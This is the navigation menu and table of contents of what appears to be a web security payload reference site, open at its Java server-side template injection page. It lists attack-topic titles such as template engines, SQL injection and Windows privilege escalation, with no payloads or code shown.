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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DOM Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DOM Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DOM%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
DOM Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
<span class="md-ellipsis">
LFI to RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/Wrappers/" class="md-nav__link">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
<span class="md-ellipsis">
Bazaar
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
<span class="md-ellipsis">
Git
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
<span class="md-ellipsis">
Mercurial
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
<span class="md-ellipsis">
Subversion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_31">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
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LaTeX Injection
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Cobalt Strike
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Container - Kubernetes
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HTML Smuggling
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Hash Cracking
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Linux - Evasion
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Linux - Persistence
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Linux - Privilege Escalation
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Network Discovery
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Network Pivoting Techniques
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Office - Attacks
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Powershell
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Reverse Shell Cheat Sheet
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Source Code Management &amp; CI/CD Compromise
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Vulnerability Reports
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Subdomains Enumeration
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Windows - AMSI Bypass
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Windows - DPAPI
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Windows - Defenses
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Windows - Download and execute methods
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Windows - Mimikatz
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Windows - Persistence
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Windows - Privilege Escalation
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Windows - Using credentials
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NoSQL Injection
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NoSQL Injection
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NoSQL Injection
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OAuth Misconfiguration
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OAuth Misconfiguration
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OAuth Misconfiguration
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ORM Leak
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
ORM Leak
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<li class="md-nav__item">
<a href="../../ORM%20Leak/" class="md-nav__link">
<span class="md-ellipsis">
ORM Leak
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Open Redirect
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</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Open Redirect
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirect
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Prompt Injection
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
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Prompt Injection
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<li class="md-nav__item">
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<span class="md-ellipsis">
Prompt Injection
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Prototype Pollution
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Prototype Pollution
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Prototype Pollution
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Race Condition
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Race Condition
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Race Condition
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Regular Expression
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Regular Expression
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Regular Expression
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Request Smuggling
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
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Request Smuggling
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Request Smuggling
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SAML Injection
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SAML Injection
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SAML Injection
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SQL Injection
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SQL Injection
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SQL Injection
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<a href="../../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
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Google BigQuery SQL Injection
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Cassandra Injection
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DB2 Injection
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MSSQL Injection
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MySQL Injection
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Oracle SQL Injection
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PostgreSQL Injection
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SQLite Injection
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SQLmap
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
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Server Side Include Injection
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
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</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
<span class="md-ellipsis">
SSRF Advanced Exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Cloud Instances
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" checked>
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../ASP/" class="md-nav__link">
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Server Side Template Injection - ASP.NET
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</a>
</li>
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Server Side Template Injection - Java
</span>
<span class="md-nav__icon md-icon"></span>
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<a href="./" class="md-nav__link md-nav__link--active">
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Server Side Template Injection - Java
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
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<li class="md-nav__item">
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Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#templating-libraries" class="md-nav__link">
<span class="md-ellipsis">
Templating Libraries
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#java" class="md-nav__link">
<span class="md-ellipsis">
Java
</span>
</a>
<nav class="md-nav" aria-label="Java">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#java-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Java - Basic Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#java-retrieve-environment-variables" class="md-nav__link">
<span class="md-ellipsis">
Java - Retrieve Environment Variables
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#java-retrieve-etcpasswd" class="md-nav__link">
<span class="md-ellipsis">
Java - Retrieve /etc/passwd
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#freemarker" class="md-nav__link">
<span class="md-ellipsis">
Freemarker
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</a>
<nav class="md-nav" aria-label="Freemarker">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#freemarker-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Basic Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#freemarker-read-file" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Read File
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#freemarker-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Code Execution
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#freemarker-sandbox-bypass" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Sandbox Bypass
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#codepen" class="md-nav__link">
<span class="md-ellipsis">
Codepen
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinjava" class="md-nav__link">
<span class="md-ellipsis">
Jinjava
</span>
</a>
<nav class="md-nav" aria-label="Jinjava">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#jinjava-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Jinjava - Basic Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinjava-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Jinjava - Command Execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#pebble" class="md-nav__link">
<span class="md-ellipsis">
Pebble
</span>
</a>
<nav class="md-nav" aria-label="Pebble">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#pebble-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Pebble - Basic Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#pebble-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Pebble - Code Execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#velocity" class="md-nav__link">
<span class="md-ellipsis">
Velocity
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy" class="md-nav__link">
<span class="md-ellipsis">
Groovy
</span>
</a>
<nav class="md-nav" aria-label="Groovy">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#groovy-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-read-file" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Read File
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-http-request" class="md-nav__link">
<span class="md-ellipsis">
Groovy - HTTP Request
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Command Execution
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-sandbox-bypass" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Sandbox Bypass
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#spring-expression-language" class="md-nav__link">
<span class="md-ellipsis">
Spring Expression Language
</span>
</a>
<nav class="md-nav" aria-label="Spring Expression Language">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#spel-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
SpEL - Basic Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#spel-dns-exfiltration" class="md-nav__link">
<span class="md-ellipsis">
SpEL - DNS Exfiltration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#spel-session-attributes" class="md-nav__link">
<span class="md-ellipsis">
SpEL - Session Attributes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#spel-command-execution" class="md-nav__link">
<span class="md-ellipsis">
SpEL - Command Execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="../JavaScript/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - JavaScript
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../PHP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - PHP
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Python/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Python
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Ruby
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
